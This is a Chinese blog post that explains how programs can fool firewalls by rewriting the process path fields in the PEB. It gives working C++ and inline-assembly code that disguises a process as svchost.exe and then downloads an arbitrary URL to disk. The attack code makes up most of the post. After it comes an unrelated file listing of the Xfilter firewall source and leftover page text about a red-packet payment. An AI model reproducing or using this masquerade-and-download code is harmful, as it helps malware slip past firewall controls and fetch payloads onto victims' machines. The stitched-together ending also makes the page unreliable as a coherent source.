防火墙普遍存在的设计缺陷--关于进程路径的获取

本文介绍了一种通过修改程序PEB中的路径信息来伪装成系统进程(svchost.exe)的方法,以此绕过防火墙的检测。这种方法适用于希望隐藏真实路径的程序,通过汇编指令实现路径替换。

作者:RonCha
主页:http://blog.youkuaiyun.com/RonCha/
当程序访问网络时,一般情况下防火墙都会获取到程序的路径,并提示用户。
问题就出在获取程序路径的方法,一般的防火墙程序都是直接在ring3下获取这些信息,也就是说防火墙程序获取的这些信息,基本上是程序的PEB中存放的信息。如果我们修改了程序的PEB中相关的路径的信息的话,把程序修改伪装为系统进程的路径的话,防火墙就无法正确识别了。

DEMO代码如下,如需更完整的信息请与我联系:

//  fuckdown.cpp : Defines the entry point for the console application.
//
//   [9/19/2006 RonCha]
#include  " stdafx.h "
#include 
< urlmon.h >
#pragma  comment(lib,"urlmon.lib")

char  szpath[MAX_PATH] = {0} ;
OLECHAR path[MAX_PATH]
= {0} ;


void  ChangPath();

int  main( int  argc,  char *  argv[])
{

    
//修改路径
    ChangPath();
    
if (argc==3)
    
{
         
if (argv[1]!="" && argv[2]!="")
         
{
            HRESULT hRet
=URLDownloadToFileA(NULL,argv[1],argv[2],NULL,NULL);
            
if(hRet==S_OK)
                printf(
" Down Success! ");
            
else
                printf(
" Can't down the file! ");
            
return 1;
         }

    }

    printf(
"Author:RonCha ");
    printf(
"Web:http://blog.youkuaiyun.com/RonCha ");
    printf(
"Usage:fuckdown.exe downurl savepath ");
    
return 0;
}


void  ChangPath()
{
    
//将该进程伪装为svchost.exe
    int slen;
    slen
=GetSystemDirectory(szpath,MAX_PATH);
    slen
=GetSystemDirectory(szpath,slen);
    lstrcat(szpath,
"/svchost.exe");
    
//转化为Unicode字符
    MultiByteToWideChar(CP_ACP,NULL,szpath,-1,path,MAX_PATH);
    __asm
    
{            
            MOV EAX, fs:[30h]            
//get the PEB address
            MOV EAX, [EAX+0xC]             //_PEB_LDR_DATA
            MOV EAX, [EAX+0xC]             //InLoadOrderModuleList
            lea ebx,path
            mov WORD ptr[EAX
+0x24],0x60  //FullDllName->Length
            mov [EAX+0x28],ebx             //FullDllName->Buffer
            MOV EAX, fs:[30h]
            mov EAX,[EAX
+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 
            lea EAX,[EAX+0x3c]             //_RTL_USER_PROCESS_PARAMETERS ->ImagePathName->Buffer
            lea ebx,path
            mov [eax],ebx                 
//ImagePathName->Buffer
            mov WORD ptr[eax-4],0x60     //ImagePathName->Length
            MOV EAX, fs:[30h]
            mov EAX,[EAX
+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 
            lea eax,[EAX+0x44]             //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer
            lea ebx,path
            mov [eax],ebx                
//CommandLine-->Buffer
            mov WORD ptr[eax-4],0x60    //CommandLine-->Length
    }

}

 

Xfilter 源代码完整的文件列表 ------------------------------------------------------ .\Common .\Lib .\Property .\Release .\TcpIpDog .\Xfilter.dsw .\readme.txt .\filelist.txt .\Common\XLogFile.h .\Common\XLogFile.cpp .\Common\XInstall.cpp .\Common\XFile.h .\Common\XInstall.h .\Common\XFile.cpp .\Common\Debug.h .\Common\XFileRes.h .\Lib\htmlhelp.h .\Lib\htmlhelp.lib .\Property\Property.opt .\Property\Property.aps .\Property\Property.dsp .\Property\Property.rc .\Property\Property.clw .\Property\ReadMe.txt .\Property\resource.h .\Property\NetIPAria.h .\Property\GuiRes.h .\Property\AclSet.cpp .\Property\SetTime.h .\Property\Acl.cpp .\Property\SetNet.h .\Property\MainSheet.h .\Property\AclSet.h .\Property\Register.h .\Property\SystemSet.cpp .\Property\Splash.h .\Property\Property.dsw .\Property\Acl.h .\Property\Property.ncb .\Property\Splash.cpp .\Property\Property.h .\Property\LogQuery.h .\Property\SetTime.cpp .\Property\MainSheet.cpp .\Property\SetNet.cpp .\Property\NetIPAria.cpp .\Property\About.cpp .\Property\StdAfx.h .\Property\StdAfx.cpp .\Property\SystemSet.h .\Property\Register.cpp .\Property\About.h .\Property\LogQuery.cpp .\Property\Property.cpp .\Property\NetTimeSheet.h .\Property\PacketMonitor.h .\Property\Property.plg .\Property\NetTimeSheet.cpp .\Property\PacketMonitor.cpp .\Property\Internet .\Property\MainFrame .\Property\SystemTray .\Property\res .\Property\HyperLink .\Property\Internet\Internet.cpp .\Property\Internet\Internet.h .\Property\MainFrame\MainFrame.cpp .\Property\MainFrame\mainframe.h .\Property\SystemTray\SystemTray.cpp .\Property\SystemTray\SystemTray.h .\Property\res\Property.rc2 .\Property\res\NULL.ico .\Property\res\Property.ico .\Property\res\about.bmp .\Property\res\Alert.ico .\Property\res\DenyEx1.ico .\Property\res\PassEx1.ico .\Property\res\QueryEx1.ico .\Property\res\splash.bmp .\Property\res\MEMO.ICO .\Property\res\ALERTSET.ICO .\Property\res\APPSET.ICO .\Property\res\BASESET.ICO .\Property\res\COMMONSET.ICO .\Property\res\Monitor.ico .\Property\res\NETSET.ICO .\Property\res\SUPERSET.ICO .\Property\res\TIMESET.ICO .\Property\res\Xfilter.ico .\Property\res\IPSET.ICO .\Property\res\Email.ico .\Property\res\QueryResult.ico .\Property\res\QuerySet.ICO .\Property\res\UserInfo.ico .\Property\res\ACLSET.ICO .\Property\res\Message.ico .\Property\HyperLink\HyperLink.cpp .\Property\HyperLink\HyperLink.h .\Release\xacl.cfg .\Release\Xfilter.chm .\Release\Xfilter.exe .\Release\Xfilter.dll .\Release\xlog.dat .\TcpIpDog\StdAfx.cpp .\TcpIpDog\TcpIpDog.dsp .\TcpIpDog\LspServ.def .\TcpIpDog\ReadMe.txt .\TcpIpDog\CheckAcl.cpp .\TcpIpDog\TcpIpdog.cpp .\TcpIpDog\Codes.h .\TcpIpDog\TcpIpDog.h .\TcpIpDog\ProtocolInfo.h .\TcpIpDog\CheckAcl.h .\TcpIpDog\StdAfx.h .\TcpIpDog\ProtocolInfo.cpp .\TcpIpDog\TcpIpDog.plg
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值